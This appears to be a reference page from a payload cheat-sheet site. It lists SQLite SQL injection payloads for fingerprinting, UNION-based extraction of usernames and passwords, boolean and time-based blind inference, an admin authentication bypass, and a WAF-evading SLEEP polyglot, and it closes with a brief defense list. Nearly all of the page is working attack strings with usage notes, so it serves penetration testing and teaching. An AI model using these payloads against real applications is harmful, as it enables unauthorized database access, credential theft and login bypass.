SQLite SQL Injection Payloads

These SQLite SQL injection payloads cover detection, sqlite_version fingerprinting, UNION, a JSON-based error oracle, boolean blind with UNICODE/SUBSTRING, time inference via randomblob, and sqlite_master enumeration.

Focused page: SQLite Boolean-Based Blind SQL Injection Payloads.

Detection — Find and confirm the injection point (5)

Fingerprint — Identify the database engine (2)

sqlite_version

DBMS identification

' AND sqlite_version()=sqlite_version()-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

last_insert_rowid

DBMS identification

' AND last_insert_rowid()=last_insert_rowid()-- 

Keyword-based DBMS fingerprint (PAT table).

PayloadsAllTheThings reference

Exploitation — Extract data or demonstrate impact (16)

UNION SELECT exfil

UNION-based

' UNION SELECT username, password FROM users LIMIT 1-- 

Column count must match original query. Reflect column 1 in the app response.

PayloadsAllTheThings reference

Target char (ASCII)

Boolean blind

' AND UNICODE(SUBSTRING(sqlite_version(),1,1))=104-- 

Binary search ASCII at position 1 (configured: 104).

PayloadsAllTheThings reference

Conditional time probe

Time-based blind

' AND (CASE WHEN (SUBSTRING(sqlite_version(),1,1))='5' THEN (randomblob(500000000)) ELSE 0 END)-- 

Delay when char at position 1 equals 5.

PayloadsAllTheThings reference

UNION with MD5 hash

Authentication bypass

'admin' AND 1=0 UNION ALL SELECT 'admin', '161ebd7d45089b3446ee4e0d86dbcf92'-- 

UNION login as admin with hash 161ebd7d45089b3446ee4e0d86dbcf92 (password column).

PayloadsAllTheThings reference

Enumeration — Discover schema, tables, and sensitive data (3)

Bypass & misc — WAF evasion and cross-context payloads (6)

SLEEP polyglot

Polyglot

'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/-- 

Works across quote contexts (PAT polyglot).

PayloadsAllTheThings reference

Defense

  • Parameterized queries / prepared statements are the primary fix for every technique on this page.
  • Run the application's database account with least privilege — no DBA, no file or command access.
  • Suppress verbose database errors and validate input types at the edge.